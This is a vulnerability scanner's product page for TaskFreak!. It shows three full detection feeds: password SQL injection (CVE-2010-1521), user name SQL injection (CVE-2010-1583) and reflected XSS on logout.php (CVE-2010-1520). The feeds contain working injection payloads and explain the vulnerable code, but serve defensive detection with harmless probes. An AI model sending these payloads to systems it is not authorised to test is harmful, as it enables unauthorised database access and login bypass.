TaskFreak! — 3 vulnerability checks

noctis ships 3 vulnerability checks for TaskFreak!, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

TaskFreak! login.php password SQL injection

CVECVE-2010-1521
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/taskfreak/CVE-2010-1521.yaml

Looks for the TaskFreak! login page (login.php showing "TaskFreak!") under /taskfreak, /tf and the web root. It then logs in as the default "admin" account with a password that closes the quoted string of the password hashing query and adds EXTRACTVALUE(1,CONCAT(0x7e,A*B)), A and B being random numbers. The finding fires when the reply carries the MySQL error "XPATH syntax error: '~<A*B>'": the database computed the product, so the password runs as SQL. When "admin" does not exist on a release older than 0.6.3, the account is loaded with an always-true user name condition instead. When the SQL error page appears without the product (old MySQL, error details hidden) and a control login with a plain random password gets a normal "Login Failed" page, the injection is reported with lower confidence. When no injection result is seen but the page footer shows TaskFreak! multi user older than 0.6.4, the CVE is reported from the version alone. The probe query reads no table and never opens a session; only the control login, sent in the lower-confidence case, counts as a failed login.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/login.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/login.php with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request POST {{dir}}/login.php with a crafted body
  7. Parses / computes the next value with a Rhai script
  8. HTTP(S) request POST {{dir}}/login.php with a crafted body
  9. Parses / computes the next value with a Rhai script
  10. Checks v.st for . → finding QoD 97: TaskFreak! login.php password SQL injection
  11. Checks v.st for . → finding QoD 75: TaskFreak! login.php password SQL injection
  12. Checks fp.ver for ^[0-9] → finding QoD 70: TaskFreak! < 0.6.4 login.php password SQL injection (version)

References:

Feed source — tests/vulnerabilities/taskfreak/CVE-2010-1521.yaml
# TaskFreak! (multi user) < 0.6.4 login.php password SQL injection (CVE-2010-1521).
#
# Source NVT `2010/gb_task_freak_xss_n_sql_inj_vuln.nasl` (OpenVAS/Greenbone,
# OID 1.3.6.1.4.1.25623.1.0.800788, GPL-2.0-only) names CVE-2010-1520 and CVE-2010-1521
# but only sends the logout.php XSS probe (CVE-2010-1520, its own feed here). This feed
# covers the SQL injection, which the NVT never tests.
#
# Vulnerable code (TaskFreak! multi user 0.5.7 – 0.6.3, include/classes/tzn_user.php):
#   TznUser::login() → loadByKey('username', $username), then zCheckPassword($password)
#   TZN_USER_PASS_MODE 4 (include/config.php default):
#     $strSql = "SELECT MD5('$password') as passHash";  → $this->query($strSql)
# A failing SELECT shows error.php (TZN_DB_ERROR_PAGE) with tznMessage =
#   'SQL Error (select)<br />' . '<code>'.htmlspecialchars($qry).'</code><br/>'
#   . 'Error SQL #'.mysql_errno().': '.mysql_error()       (TZN_DB_DEBUG 2, the default)
# and exits before zBadAccess(). 0.6.4 adds `$password = addslashes($password)` in modes
# 2, 3 and 4 (Secunia research 2010-79).
#
# The password is only checked once an account row is loaded, so the probe uses the
# default "admin" account. When it does not exist and the version is older than 0.6.3,
# the always-true user name `<rand>' or 'N'='N` (CVE-2010-1583, which loads the first
# account) is used instead to reach the password query; 0.6.3 rejects such names.
#
# Proof (QoD 97): password `<rand>'),EXTRACTVALUE(1,CONCAT(0x7e,A*B))-- -` → MySQL
# "XPATH syntax error: '~<A*B>'": the product is computed by the database and appears
# only in the error message (the page quotes the query with the two operands, never
# the product). Checked on MariaDB 10.11 with a reconstructed 0.6.3 / 0.6.4 login
# (0.6.4 answers "Wrong password"). The query reads no table, and the error page exits
# before the failed-login counter is bumped.
# Fallback (QoD 75): the probe gives the SQL error page without the product (MySQL 5.0
# has no EXTRACTVALUE, TZN_DB_DEBUG 0 hides the message) and a control login with the
# same random password minus the injection answers a normal "Login Failed" page.
# Fallback (QoD 70): footer version < 0.6.4 and no injection result (magic_quotes_gpc,
# another password mode, no admin account on 0.6.3).
uid: 41893ecd-c89e-4ac1-a42e-e1e061fc9a8e
name: "TaskFreak! login.php password SQL injection"
description: >-
  Looks for the TaskFreak! login page (login.php showing "TaskFreak!") under
  /taskfreak, /tf and the web root. It then logs in as the default "admin" account
  with a password that closes the quoted string of the password hashing query and
  adds EXTRACTVALUE(1,CONCAT(0x7e,A*B)), A and B being random numbers. The finding
  fires when the reply carries the MySQL error "XPATH syntax error: '~<A*B>'": the
  database computed the product, so the password runs as SQL. When "admin" does not
  exist on a release older than 0.6.3, the account is loaded with an always-true
  user name condition instead. When the SQL error page appears without the
  product (old MySQL, error details hidden) and a control login with a plain
  random password gets a normal "Login Failed" page, the injection is reported with
  lower confidence. When no injection result is seen but the page footer shows
  TaskFreak! multi user older than 0.6.4, the CVE is reported from the version
  alone. The probe query reads no table and never opens a session; only the control
  login, sent in the lower-confidence case, counts as a failed login.
category: sqli
cves: [CVE-2010-1521]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [taskfreak, php, sqli, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-1521"
  - "http://secunia.com/secunia_research/2010-79/"
  - "http://www.securityfocus.com/bid/41218"
  - "http://www.taskfreak.com/original/versions"

steps:
  # Random password prefix, user name prefix and product operands.
  - id: gen
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ p: rand_str(10), u: rand_str(8), n: rand_int(1000, 9999), a: a, b: b, prod: "" + (a * b) }
    store_as: rv

  # Loop group: every following step runs once per directory. Pre-initialise the
  # stored results so a failed request never leaves them undefined or holding the
  # previous directory's reply.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/taskfreak", "/tf", ""]

  - id: init-a1
    action: set_var
    var_name: a1
    var_value: {status: 0, body: ""}

  - id: init-a2
    action: set_var
    var_name: a2
    var_value: {status: 0, body: ""}

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: login-page
    action: http_request
    method: GET
    path: "{{dir}}/login.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page

  - id: gate
    action: script
    code: |
      let b = if type_of(page.body) == "string" { page.body } else { "" };
      let ok = page.status == 200 && b.contains("TaskFreak!") && ereg("name=[\"']?username", b, true)
        && ereg("name=[\"']?password", b, true);
      let m = eregmatch("TaskFreak! multi user</a>\\s*v([0-9]+(\\.[0-9]+)*)", b, true);
      let ver = if ok && type_of(m) == "array" && m.len() > 1 { m[1] } else { "unknown" };
      let old = false;
      let pre063 = false;
      if ver != "unknown" {
        let p = ver.split(".");
        let maj = parse_int(p[0]);
        let min = if p.len() > 1 { parse_int(p[1]) } else { 0 };
        let pat = if p.len() > 2 { parse_int(p[2]) } else { 0 };
        old = maj == 0 && (min < 6 || (min == 6 && pat < 4));
        pre063 = maj == 0 && (min < 6 || (min == 6 && pat < 3));
      }
      #{ ok: ok, ver: ver, old: old, pre063: pre063 }
    store_as: fp

  # 1. The default "admin" account, injected password.
  - id: inject-admin
    action: http_request
    method: POST
    path: "{{dir}}/login.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "username=admin&password={{rv.p}}%27%29%2CEXTRACTVALUE%281%2CCONCAT%280x7e%2C{{rv.a}}%2A{{rv.b}}%29%29--+-"
    store_as: a1

  - id: check-admin
    action: script
    code: |
      let b = if type_of(a1.body) == "string" { a1.body } else { "" };
      let hit = b.contains("~" + rv.prod);
      let err = b.contains("SQL Error (select)") || b.contains("You have an error in your SQL syntax")
        || ereg("EXTRACTVALUE does not exist", b, true);
      let nf = ereg("Login Failed:\\s*username not found", b, true);
      #{ hit: hit, err: err, nf: nf }
    store_as: c1

  # 2. Before 0.6.3 only, when the admin probe gave nothing: load the first account through
  #    the user name (always-true condition), same injected password. Not gated on the
  #    English "username not found" text, so localised installs reach it too.
  - id: inject-anyuser
    action: http_request
    method: POST
    path: "{{dir}}/login.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok && fp.pre063 && !c1.hit && !c1.err"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "username={{rv.u}}%27+or+%27{{rv.n}}%27%3D%27{{rv.n}}&password={{rv.p}}%27%29%2CEXTRACTVALUE%281%2CCONCAT%280x7e%2C{{rv.a}}%2A{{rv.b}}%29%29--+-"
    store_as: a2

  - id: check-anyuser
    action: script
    code: |
      let b = if type_of(a2.body) == "string" { a2.body } else { "" };
      let hit = b.contains("~" + rv.prod);
      let err = b.contains("SQL Error (select)") || b.contains("You have an error in your SQL syntax")
        || ereg("EXTRACTVALUE does not exist", b, true);
      let user = if c1.hit || c1.err { "admin" } else { rv.u + "' or '" + rv.n + "'='" + rv.n };
      let ubody = if c1.hit || c1.err { "admin" } else { rv.u + "%27+or+%27" + rv.n + "%27%3D%27" + rv.n };
      #{ hit: c1.hit || hit, err: c1.err || err, user: user, ubody: ubody }
    store_as: c

  # Control for the SQL-error-only case: same account, the random password alone.
  - id: control
    action: http_request
    method: POST
    path: "{{dir}}/login.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok && c.err && !c.hit"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "username={{c.ubody}}&password={{rv.p}}"
    store_as: ctl

  - id: verdict
    action: script
    code: |
      let cb = if type_of(ctl.body) == "string" { ctl.body } else { "" };
      let ctl_clean = ctl.status == 200 && cb.contains("Login Failed:") && !cb.contains("SQL Error")
        && !cb.contains("You have an error in your SQL syntax");
      #{ proof: fp.ok && c.hit,
         err: fp.ok && !c.hit && c.err && ctl_clean,
         ver: fp.ok && !c.hit && fp.old,
         st: "" + page.status }
    store_as: v

  - id: sqli-confirmed
    action: match
    source: v.st
    pattern: "."
    condition: "v.proof"
    on_match:
      finding:
        cves: [CVE-2010-1521]
        title: "TaskFreak! login.php password SQL injection"
        description: "The TaskFreak! login (login.php) checks the password with the SQL query SELECT MD5('<password>') (zCheckPassword() of the Tirzen framework, MD5 password mode) built from the raw submitted password, so an unauthenticated attacker runs arbitrary SQL in that query, for example to read the member table or to log in as any account."
        confidence_delta: 0.65
        qod: 97
        evidence: "TaskFreak! {{fp.ver}} at {{dir}}/login.php: a login as {{c.user}} with the password {{rv.p}}'),EXTRACTVALUE(1,CONCAT(0x7e,{{rv.a}}*{{rv.b}}))-- - answered the SQL error page with XPATH syntax error: '~{{rv.prod}}' (the product computed by the database)."
        remediation: "Upgrade TaskFreak! to 0.6.4 or later, which escapes the password before building the hashing query."
      stop: true

  - id: sqli-error
    action: match
    source: v.st
    pattern: "."
    condition: "v.err"
    on_match:
      finding:
        cves: [CVE-2010-1521]
        title: "TaskFreak! login.php password SQL injection"
        description: "The TaskFreak! login (login.php) checks the password with the SQL query SELECT MD5('<password>') (zCheckPassword() of the Tirzen framework, MD5 password mode) built from the raw submitted password, so an unauthenticated attacker runs arbitrary SQL in that query, for example to read the member table or to log in as any account."
        confidence_delta: 0.50
        qod: 75
        evidence: "TaskFreak! {{fp.ver}} at {{dir}}/login.php: a login as {{c.user}} with a password closing the quoted string answered the \"SQL Error (select)\" page, while the same login with the random password alone answered a normal \"Login Failed\" page."
        remediation: "Upgrade TaskFreak! to 0.6.4 or later, which escapes the password before building the hashing query."
      stop: true

  - id: version-only
    action: match
    source: fp.ver
    pattern: "^[0-9]"
    condition: "v.ver"
    on_match:
      finding:
        cves: [CVE-2010-1521]
        title: "TaskFreak! < 0.6.4 login.php password SQL injection (version)"
        description: "The login page footer identifies TaskFreak! multi user older than 0.6.4, whose login builds the password hashing query from the raw submitted password. The injection probe gave no result (for example because magic_quotes_gpc escapes the quote, another password mode is configured or no admin account exists), so this finding rests on the version only."
        confidence_delta: 0.40
        qod: 70
        evidence: "{{dir}}/login.php footer shows TaskFreak! multi user v{{fp.ver}}; the injected password did not produce a SQL error."
        remediation: "Upgrade TaskFreak! to 0.6.4 or later, which escapes the password before building the hashing query."
      stop: true

TaskFreak! login.php user name SQL injection

CVECVE-2010-1583
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/taskfreak/CVE-2010-1583.yaml

Looks for the TaskFreak! login page (login.php showing "TaskFreak!") under /taskfreak, /tf and the web root. It then posts two logins with a random password whose user name is an SQL condition: an always-false one (<random>' or 'N'='M) and an always-true one (<random>' or 'N'='N). The finding fires when the two attempts fail for different reasons, the true condition with "Wrong password" (an account was loaded) and the false one with "username not found": the user name is evaluated inside the account lookup query. When the control login gets no reply, the "Wrong password" answer to the true condition alone is reported with lower confidence. When the injection gives no result but the page footer shows TaskFreak! multi user older than 0.6.3, the CVE is reported from the version alone. No session is opened; as for any failed login, the bad-login counter of the loaded account is incremented.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/login.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/login.php with a crafted body
  5. HTTP(S) request POST {{dir}}/login.php with a crafted body
  6. Parses / computes the next value with a Rhai script
  7. Checks v.st for . → finding QoD 97: TaskFreak! login.php user name SQL injection
  8. Checks v.st for . → finding QoD 75: TaskFreak! login.php user name SQL injection
  9. Checks fp.ver for ^[0-9] → finding QoD 70: TaskFreak! < 0.6.3 login.php SQL injection (version)

References:

Feed source — tests/vulnerabilities/taskfreak/CVE-2010-1583.yaml
# TaskFreak! (multi user) < 0.6.3 login.php user name SQL injection (CVE-2010-1583).
#
# Ported from OpenVAS/Greenbone NVT `2010/gb_task_freak_sql_inj_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.902052, GPL-2.0-only): POST <dir>/login.php with
# username=+"1' or 1='1"++ (no password) and report "Location: index.php?" — a login
# that only succeeds when the first account of the table has an empty password
# (the default admin of a fresh install).
#
# Vulnerable code (TaskFreak! multi user 0.5.7 / 0.6.2, Tirzen framework 1.5):
#   login.php → $objUser->login($_POST["username"], $_POST["password"])
#   TznUser::login() → $this->loadByKey('username', $username)
#   TznDb::loadByKey() → loadByFilter("frk_member.username = '".$value."'")
# The first row returned is loaded, then the password is checked against it; a failed
# login prints "Login Failed: <reason>": "username not found" when no row came back,
# "Wrong password" when a row was loaded. 0.6.3 rejects user names outside
# /^[a-zA-Z0-9._-]+$/ ("Username shouldn't contain any special characters or spaces")
# and loadByKey() refuses non-alphanumeric values.
#
# Better than the NASL:
#   - Works whatever the accounts' passwords: two logins with a random password, the
#     user name holding an always-false (<rand>' or 'N'='M) then an always-true
#     (<rand>' or 'N'='N) condition. A different failure reason for the true condition
#     ("Wrong password": a row was loaded) than for the false one ("username not
#     found") proves the condition ran in the query — QoD 97, language independent
#     (the two reasons are compared, not matched). The NASL only fires on a default
#     empty admin password and logs in for real; this probe never opens a session.
#   - Control without a reply → the English "Wrong password"/"Invalid password" reason
#     alone, QoD 75.
#   - Footer version < 0.6.3 with no injection result (magic_quotes_gpc escaping the
#     quote, a localised page…) → QoD 70 version finding.
# Side effect: like any failed login, the true-condition attempt increments the
# badAccess counter of the account it loaded (no lockout in TaskFreak).
uid: 279d0f5c-d368-4ddb-9e0f-ccf726e513dd
name: "TaskFreak! login.php user name SQL injection"
description: >-
  Looks for the TaskFreak! login page (login.php showing "TaskFreak!") under
  /taskfreak, /tf and the web root. It then posts two logins with a random
  password whose user name is an SQL condition: an always-false one
  (<random>' or 'N'='M) and an always-true one (<random>' or 'N'='N). The
  finding fires when the two attempts fail for different reasons, the true
  condition with "Wrong password" (an account was loaded) and the false one with
  "username not found": the user name is evaluated inside the account lookup query.
  When the control login gets no reply, the "Wrong password" answer to the true
  condition alone is reported with lower confidence. When the injection gives no
  result but the page footer shows TaskFreak! multi user older than 0.6.3, the CVE is
  reported from the version alone. No session is opened; as for any failed login,
  the bad-login counter of the loaded account is incremented.
category: sqli
cves: [CVE-2010-1583]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [taskfreak, php, sqli, auth-bypass, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-1583"
  - "https://www.exploit-db.com/exploits/12452"
  - "http://www.madirish.net/?article=456"
  - "http://www.securityfocus.com/bid/39793"

steps:
  # Shared random values: user name prefix, password and the condition operands.
  - id: gen
    action: script
    code: |
      let n = rand_int(1000, 9999);
      #{ u: rand_str(8), p: rand_str(12), n: n, f: n + 1 }
    store_as: rv

  # Loop group: every following step runs once per directory. Pre-initialise the
  # stored results so a failed request never leaves them undefined or holding the
  # previous directory's reply.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/taskfreak", "/tf", ""]

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: init-inj
    action: set_var
    var_name: inj
    var_value: {status: 0, body: ""}

  - id: login-page
    action: http_request
    method: GET
    path: "{{dir}}/login.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page

  - id: gate
    action: script
    code: |
      let b = if type_of(page.body) == "string" { page.body } else { "" };
      let ok = page.status == 200 && b.contains("TaskFreak!") && ereg("name=[\"']?username", b, true);
      let m = eregmatch("TaskFreak! multi user</a>\\s*v([0-9]+(\\.[0-9]+)*)", b, true);
      let ver = if ok && type_of(m) == "array" && m.len() > 1 { m[1] } else { "unknown" };
      let old = false;
      if ver != "unknown" {
        let p = ver.split(".");
        let maj = parse_int(p[0]);
        let min = if p.len() > 1 { parse_int(p[1]) } else { 0 };
        let pat = if p.len() > 2 { parse_int(p[2]) } else { 0 };
        old = maj == 0 && (min < 6 || (min == 6 && pat < 3));
      }
      #{ ok: ok, ver: ver, old: old }
    store_as: fp

  # Control: false condition — no account can match.
  - id: control
    action: http_request
    method: POST
    path: "{{dir}}/login.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "username={{rv.u}}%27+or+%27{{rv.n}}%27%3D%27{{rv.f}}&password={{rv.p}}"
    store_as: ctl

  # Injection: always-true condition — loads the first account; the random password fails.
  - id: inject
    action: http_request
    method: POST
    path: "{{dir}}/login.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "username={{rv.u}}%27+or+%27{{rv.n}}%27%3D%27{{rv.n}}&password={{rv.p}}"
    store_as: inj

  - id: verdict
    action: script
    code: |
      fn reason(r) {
        if type_of(r) != "map" || type_of(r.body) != "string" { return ""; }
        let m = eregmatch("Login Failed:\\s*([^<]*)<", r.body);
        if type_of(m) == "array" && m.len() > 1 { let s = m[1]; s.trim(); s } else { "" }
      }
      fn logged(r) {
        type_of(r) == "map" && (r.status == 301 || r.status == 302)
          && "location" in r.headers && ereg("index\\.php", r.headers["location"])
      }
      let inj_r = reason(inj);
      let ctl_r = reason(ctl);
      let ctl_none = type_of(ctl) != "map" || ctl.status == 0;
      // A row was loaded for the true condition: a password failure, or a login.
      // The reasons must not quote the submitted user name (they would differ by the
      // random operands alone).
      let echo = inj_r.contains(rv.u) || ctl_r.contains(rv.u);
      let row = logged(inj) || (inj_r != "" && inj_r != ctl_r && !echo);
      let ctl_clean = !ctl_none && ctl_r != "" && !logged(ctl);
      let en = logged(inj) || ereg("^(Wrong password|Invalid password|Account disabled)", inj_r);
      let shown = if logged(inj) { "a redirect to index.php (logged in)" } else { "\"Login Failed: " + inj_r + "\"" };
      #{ sqli: fp.ok && row && ctl_clean,
         sqli_noctl: fp.ok && ctl_none && en,
         ver: fp.ok && fp.old,
         st: "" + inj.status, inj: shown, ctl: ctl_r }
    store_as: v

  - id: sqli-confirmed
    action: match
    source: v.st
    pattern: "."
    condition: "v.sqli"
    on_match:
      finding:
        cves: [CVE-2010-1583]
        title: "TaskFreak! login.php user name SQL injection"
        description: "The TaskFreak! login (login.php) inserts the submitted user name unescaped into the SQL query that looks up the account (loadByKey() of the Tirzen framework), so an unauthenticated attacker runs arbitrary SQL in that query; with an account whose password is empty (the default administrator) this logs in without credentials."
        confidence_delta: 0.65
        qod: 97
        evidence: "TaskFreak! {{fp.ver}} at {{dir}}/login.php: a login with a random password and user name ending in ' or '{{rv.n}}'='{{rv.n}} answered {{v.inj}} (an account was loaded), while the same login with the false condition '{{rv.n}}'='{{rv.f}} answered \"Login Failed: {{v.ctl}}\"."
        remediation: "Upgrade TaskFreak! to 0.6.3 or later, which rejects user names containing special characters and no longer builds the account lookup from raw input."
      stop: true

  - id: sqli-unconfirmed-control
    action: match
    source: v.st
    pattern: "."
    condition: "v.sqli_noctl"
    on_match:
      finding:
        cves: [CVE-2010-1583]
        title: "TaskFreak! login.php user name SQL injection"
        description: "The TaskFreak! login (login.php) inserts the submitted user name unescaped into the SQL query that looks up the account (loadByKey() of the Tirzen framework), so an unauthenticated attacker runs arbitrary SQL in that query; with an account whose password is empty (the default administrator) this logs in without credentials."
        confidence_delta: 0.50
        qod: 75
        evidence: "TaskFreak! {{fp.ver}} at {{dir}}/login.php: a login with a random password and user name ending in ' or '{{rv.n}}'='{{rv.n}} answered {{v.inj}} (an account was loaded); the false-condition control login got no reply."
        remediation: "Upgrade TaskFreak! to 0.6.3 or later, which rejects user names containing special characters and no longer builds the account lookup from raw input."
      stop: true

  - id: version-only
    action: match
    source: fp.ver
    pattern: "^[0-9]"
    condition: "v.ver"
    on_match:
      finding:
        cves: [CVE-2010-1583]
        title: "TaskFreak! < 0.6.3 login.php SQL injection (version)"
        description: "The login page footer identifies TaskFreak! multi user older than 0.6.3, whose login inserts the submitted user name unescaped into the account lookup query. The injection probe gave no result (for example because magic_quotes_gpc escapes the quote, or the page is localised), so this finding rests on the version only."
        confidence_delta: 0.40
        qod: 70
        evidence: "{{dir}}/login.php footer shows TaskFreak! multi user v{{fp.ver}}; the true-condition login did not show a different failure reason than the false-condition one."
        remediation: "Upgrade TaskFreak! to 0.6.3 or later, which rejects user names containing special characters and no longer builds the account lookup from raw input."
      stop: true

TaskFreak! logout.php tznMessage reflected XSS

CVECVE-2010-1520
Severitymedium · CVSS 4.3
Categoryxss — XSS
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/taskfreak/CVE-2010-1520.yaml

Requests logout.php?tznMessage=<script>alert(/marker/)</script> under /taskfreak, /tf and the web root, marker being random for each scan. The finding fires when the HTTP 200 reply is a TaskFreak! page that prints the script element unescaped in the page text, right after a tag, so the element runs in the visitor's browser. A page that HTML-escapes the message (TaskFreak! 0.6.4 and later) is not reported. The logout page only ends the caller's own session, which the scanner does not have, so nothing changes on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/logout.php?tznMessage=%3Cscript%3Ealert%28%2F{{tok}}%2F%29%3C%2Fscript%3E
  3. Parses / computes the next value with a Rhai script
  4. Checks xss_proof for ^<script>alert\(/noctis[0-9a-f]{12}/\)</script>$ → finding QoD 75: TaskFreak! logout.php tznMessage reflected XSS

References:

Feed source — tests/vulnerabilities/taskfreak/CVE-2010-1520.yaml
# TaskFreak! (multi user) < 0.6.4 logout.php tznMessage reflected XSS (CVE-2010-1520).
#
# Vulnerable code (TaskFreak! multi user up to 0.6.3, logout.php):
#   if ($pMessageStatus = $_REQUEST['tznMessage']) {
#       echo '<p class="box error" style="text-align:center">'.$pMessageStatus.'</p>';
#   }
# 0.6.4 reads it through Tzn::getHttp($_REQUEST['tznMessage'], 'html') (htmlspecialchars).
#
# Differences with the source NVT (2010/gb_task_freak_xss_n_sql_inj_vuln.nasl,
# OpenVAS/Greenbone, OID 1.3.6.1.4.1.25623.1.0.800788, GPL-2.0-only), which greps a
# fixed <script>alert('VT-XSS-Testing')</script> in the directory its product detection
# found:
#   - random marker per scan and no quote in the payload: under magic_quotes_gpc the
#     NVT's single quotes come back as \' and its exact match misses a page that is
#     still injectable; alert(/marker/) needs no quote;
#   - the element must sit in the page text right after a tag (">" then only text), the
#     context logout.php prints it in, and the page must carry the TaskFreak! branding;
#   - /taskfreak, /tf and the web root are tried without a prior product detection.
# The SQL injection the NVT also names (CVE-2010-1521) has its own feed here.
uid: 6bd74bc5-3b15-4e2f-a5cc-df2f713dfc84
name: "TaskFreak! logout.php tznMessage reflected XSS"
description: >-
  Requests logout.php?tznMessage=<script>alert(/marker/)</script> under /taskfreak,
  /tf and the web root, marker being random for each scan. The finding fires when
  the HTTP 200 reply is a TaskFreak! page that prints the script element unescaped in
  the page text, right after a tag, so the element runs in the visitor's browser.
  A page that HTML-escapes the message (TaskFreak! 0.6.4 and later) is not reported.
  The logout page only ends the caller's own session, which the scanner does not
  have, so nothing changes on the server.
category: xss
cves: [CVE-2010-1520]
cvss: 4.3
severity: medium
confidence_base: 0.30
tags: [taskfreak, php, xss, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-1520"
  - "http://secunia.com/secunia_research/2010-78/"
  - "http://www.securityfocus.com/bid/41221"
  - "http://www.taskfreak.com/original/versions"

steps:
  # Random marker for this scan (letters and hex digits only).
  - id: marker
    action: script
    code: |
      "noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4)
    store_as: tok

  # Loop group: every following step runs once per install dir.
  - id: init-probe-r
    action: set_var
    var_name: probe_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/taskfreak", "/tf", ""]

  - id: probe
    action: http_request
    method: GET
    path: "{{dir}}/logout.php?tznMessage=%3Cscript%3Ealert%28%2F{{tok}}%2F%29%3C%2Fscript%3E"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: probe_r

  # The executable reflection with this scan's marker on a TaskFreak! page, or "":
  # only text (no tag) between the previous ">" and the element, so an attribute value
  # (whose tag's "<" would be in between) never matches.
  - id: reflection
    action: script
    code: |
      let b = if probe_r.status == 200 && type_of(probe_r.body) == "string" { probe_r.body } else { "" };
      let el = "<script>alert(/" + tok + "/)</script>";
      if b.contains("TaskFreak!") && ereg(">[^<>]*<script>alert\\(/" + tok + "/\\)</script>", b) { el } else { "" }
    store_as: xss_proof

  - id: report
    action: match
    source: xss_proof
    pattern: '^<script>alert\(/noctis[0-9a-f]{12}/\)</script>$'
    on_match:
      finding:
        title: "TaskFreak! logout.php tznMessage reflected XSS"
        description: "TaskFreak! logout.php prints the tznMessage request parameter into the page without HTML escaping, so a script element passed in it runs in the visitor's browser. An attacker can send a TaskFreak! user a logout link that runs script in the context of the TaskFreak! site, for example to steal the session cookie or capture the next login."
        remediation: "Upgrade TaskFreak! to 0.6.4 or later, which HTML-escapes the tznMessage parameter on logout.php."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{dir}}/logout.php?tznMessage=<script element> returned HTTP 200 with a TaskFreak! page containing the element unescaped in the page text: {{xss_proof}}"
      stop: true

View these feeds on GitHub